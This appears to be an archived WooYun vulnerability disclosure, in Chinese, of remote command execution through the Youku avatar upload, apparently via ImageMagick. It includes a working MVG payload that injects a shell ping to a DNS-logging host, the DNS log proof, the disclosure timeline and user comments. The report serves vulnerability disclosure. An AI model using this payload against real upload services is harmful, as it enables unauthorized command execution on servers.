破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

优酷主站存在远程命令执行漏洞

编号205389
Urlhttp://www.wooyun.org/bug.php?action=view&id=205389
漏洞状态厂商已经确认
漏洞标题优酷主站存在远程命令执行漏洞
漏洞类型命令执行
厂商优酷
白帽子猪猪侠
提交日期2016-05-05 17:49:00
公开日期2016-06-19 18:30:00
修复时间(not set)
确认时间2016-05-05 00:00:00
Confirm Spend0
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank20
漏洞简介
优酷主站存在远程命令执行漏洞
漏洞细节

#1 漏洞位置
个人头像上传
http://i.youku.com/u/setting/base_avatar.html

youku.png


#2 payload

push graphic-context 
viewbox 0 0 640 480
fill 'url(https://"|ping img.99fd5e.dnslog.info -c 1")'
pop graphic-context

POC

05-May-2016 17:45:15.425 queries: client 220.181.185.161#40524 (img.99fd5e.dnslog.info): query: img.99fd5e.dnslog.info IN A - (128.199.200.236)
05-May-2016 17:46:33.153 queries: client 220.181.185.161#47453 (img.99fd5e.dnslog.info): query: img.99fd5e.dnslog.info IN A -ED (128.199.200.236)

修复方案

更新

状态信息 2016-05-05: 细节已通知厂商并且等待厂商处理中
2016-05-05: 厂商已经确认,细节仅向厂商公开
2016-05-15: 细节向核心白帽子及相关领域专家公开
2016-05-25: 细节向普通白帽子公开
2016-06-04: 细节向实习白帽子公开
2016-06-19: 细节向公众公开
厂商回复感谢猪猪侠报告!漏洞修复中!
回应信息危害等级:高漏洞Rank:20 确认时间:2016-05-05 18:25
Showing 1-25 of 25 items.
评论内容评论人点赞数评论时间

horrible!

BeenQuiver02016-06-16 09:23:00

ImageMagick?

waking-云狐02016-05-06 10:22:00

是啊就是imagemagick都被玩坏了。。

dr.m1st3r02016-05-06 04:37:00

66666

Mark0smith02016-05-05 23:49:00

没测出来啊

D&G02016-05-05 22:13:00

ImageMagick?

vforbox02016-05-05 22:01:00

ImageMagick?

岛云首席鉴黄师02016-05-05 21:09:00

ImageMagick ?

淡蓝色の忧伤02016-05-05 20:31:00

主站,我擦

Faith444402016-05-05 20:04:00

主站,我擦

大师兄02016-05-05 19:15:00

难道是st2?

子非海绵宝宝02016-05-05 19:14:00

大神啊。

川zi02016-05-05 18:58:00

这是要狂刷一波吗

adminss02016-05-05 18:57:00

@niliu 我没试出来情有可原,你咋回事

浩天02016-05-05 18:41:00

有没有搞到优酷服务器

jackyu02016-05-05 18:34:00

挖槽

Yuku02016-05-05 18:26:00

艹,我试的时候居然没试出来

niliu02016-05-05 18:26:00

wordpress?

默之02016-05-05 18:02:00

orz

sanwenkit02016-05-05 18:00:00

艹,我试的时候居然没试出来

scanf02016-05-05 17:56:00

。。。这节奏 都开始刷起来了么

px162402016-05-05 17:53:00

狂刷~~~~

JJ碎大石02016-05-05 17:53:00

艹,我试的时候居然没试出来

浩天02016-05-05 17:52:00

......猪哥,

Hackshy02016-05-05 17:52:00

也是?

Drizzle.Risk02016-05-05 17:51:00